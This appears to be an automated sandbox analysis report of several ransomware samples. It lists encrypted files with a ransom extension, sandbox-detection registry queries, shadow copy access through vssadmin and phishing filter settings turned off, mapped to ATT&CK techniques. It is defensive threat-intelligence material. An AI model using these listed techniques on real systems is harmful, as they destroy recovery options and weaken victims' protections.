File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\System.Security.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Debug.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL110.XML	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity.png.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\Microsoft.Win32.Registry.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT\THMBNAIL.PNG.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\clrgc.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL117.XML.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\PushUninstall.M2T	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipsdeu.xml	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkDrop32x32.gif	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Ping.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.GrayF.png.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\msjet.xsl.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\7-Zip\Lang\tr.txt.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ro-ro.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Requests.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected].[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected].[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-flag.png.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-locale-l1-1-0.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\7-Zip\Lang\th.txt.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\de-DE\msdaremr.dll.mui	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebClient.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Metadata.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.scale-100.png.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.OpenSsl.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\7-Zip\Lang\mng2.txt.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\WordInterProviderRanker.bin.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.tree.dat.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.TypeExtensions.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\SAMPLES\SOLVSAMP.XLS.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\as90.xsl.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\EnableStart.xla	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
File created	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.NETCore.App.deps.json.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL\THMBNAIL.PNG.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\cs\PresentationCore.resources.dll	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\fr-FR\oledb32r.dll.mui	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\fre\StartMenu_Win10_RTL.mp4	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemuiset.msi.16.en-us.xml.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.dll.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File created	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN095.XML.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id-38D4324C.[[email protected]].money	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\	Trojan-Ransom.Win32.Blocker.jiqg-ebcb76212a57b469c83b1893f3b22c4199e8726495b057e2c45b3ce146f8d4cc.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
7392	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
1208	4440	WerFault.exe	138
1624	2864	WerFault.exe	137
1648	3552	WerFault.exe	142
4032	3552	WerFault.exe	142
224	3552	WerFault.exe	142
5324	3552	WerFault.exe	142
5668	3192	WerFault.exe	152
5864	3552	WerFault.exe	142
5332	3192	WerFault.exe	152
5360	3552	WerFault.exe	142
8168	3192	WerFault.exe	152
7712	3552	WerFault.exe	142
7056	3192	WerFault.exe	152
7072	3552	WerFault.exe	142
3412	3192	WerFault.exe	152
9536	3552	WerFault.exe	142
9748	3192	WerFault.exe	152
8508	2828	WerFault.exe	155
7460	3552	WerFault.exe	142
12224	10624	WerFault.exe	239
10916	3192	WerFault.exe	152
12016	3552	WerFault.exe	142
9316	3192	WerFault.exe	152
9996	12188	WerFault.exe	250
7072	3192	WerFault.exe	152
12012	3552	WerFault.exe	142
10360	9680	WerFault.exe	260
9308	3552	WerFault.exe	142
5696	3192	WerFault.exe	152
11012	10128	WerFault.exe	271
6944	3552	WerFault.exe	142
1360	3192	WerFault.exe	152
7616	9640	WerFault.exe	280
10876	6384	WerFault.exe	292
2440	3192	WerFault.exe	152
7732	9640	WerFault.exe	280
11432	12200	WerFault.exe	308
12008	9640	WerFault.exe	280
8296	9640	WerFault.exe	280
9104	8308	WerFault.exe	298
10588	7576	WerFault.exe	321
9500	9640	WerFault.exe	280
1284	8308	WerFault.exe	298
7532	9640	WerFault.exe	280
7040	7428	WerFault.exe	331
11012	8308	WerFault.exe	298
4080	9640	WerFault.exe	280
7808	8308	WerFault.exe	298
6084	10964	WerFault.exe	347
8140	8308	WerFault.exe	298
10220	9640	WerFault.exe	280
10352	5944	WerFault.exe	355
11800	8308	WerFault.exe	298
6252	9640	WerFault.exe	280
9288	9400	WerFault.exe	362
9000	8308	WerFault.exe	298
928	9640	WerFault.exe	280
9780	7820	WerFault.exe	369
11640	9640	WerFault.exe	280
6196	8308	WerFault.exe	298
11848	9640	WerFault.exe	280
1604	5944	WerFault.exe	377
8068	8308	WerFault.exe	298
9176	9640	WerFault.exe	280

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HPXmmgLUSavYuccxma5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bmlplan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.adh-a8330e4e9ae277220a20ab4fd818495b3e6ff997f2a07215435d4f6262eccdcd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.abv-6e5f225b72d932fa68cafd3e0366298d5b1b92098049dcf01f6e3f2ad0f9b92e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HPXmmgLUSavYuccxma5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.alx-f87cc35fedf1bcfa47f9df0d08bbc0d6741f46241a214dbdfa6b2ae6ac09068a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.bb-20684d3edd9d61bbe0a84559c8e197a02a123e697bc8d05bd9305cf1d3984c15.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpvpyme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Blocker.jiqg-ebcb76212a57b469c83b1893f3b22c4199e8726495b057e2c45b3ce146f8d4cc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.DigiPog.ep-fdbe5f69bb19bd05372847a7e3aa3196bfbd2cf620baec58bb8ac42c995a61ac.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Blocker.gen-481e96139f87e511669b713d5810b18682d9914699cc4f1f51f71ec12523bfa8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.aaz-47e05f24669a0ffd7ca461aaf7e76e0b6e17f6cf424e4d854ddc584ee26ef42c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Sodin.ax-a8309e454d9177a8fe2c84c79925fa800282f9fde2413f219dbf60fc77dd37a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sicck.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Crusis.drf-b487fe8e47700d12c942141d1c0776e8e2521640717b062bc434702d72ad92b4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bmlplan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Trojan-Ransom.Win32.GandCrypt.jcc-45a2cc9060b21404632f07ee468d105ccd42075feb680f00d3aa1c20a19d272a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Trojan-Ransom.Win32.GandCrypt.jes-79967e1aba8d8bd41f5fa97871f496ff3d7dcaf66d879d0134c6f9d056010697.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Trojan-Ransom.Win32.GandCrypt.jdv-0d641a6e15a1b393fa49c6c2e98ada6e7a04a9163667f667d3776786515d0991.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
11452	vssadmin.exe
9628	vssadmin.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 6 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Internet Explorer\PhishingFilter	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\EnabledV8 = "0"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\EnabledV9 = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\PhishingFilter	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\EnabledV8 = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\EnabledV9 = "0"	msiexec.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	bmlplan.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	bmlplan.exe
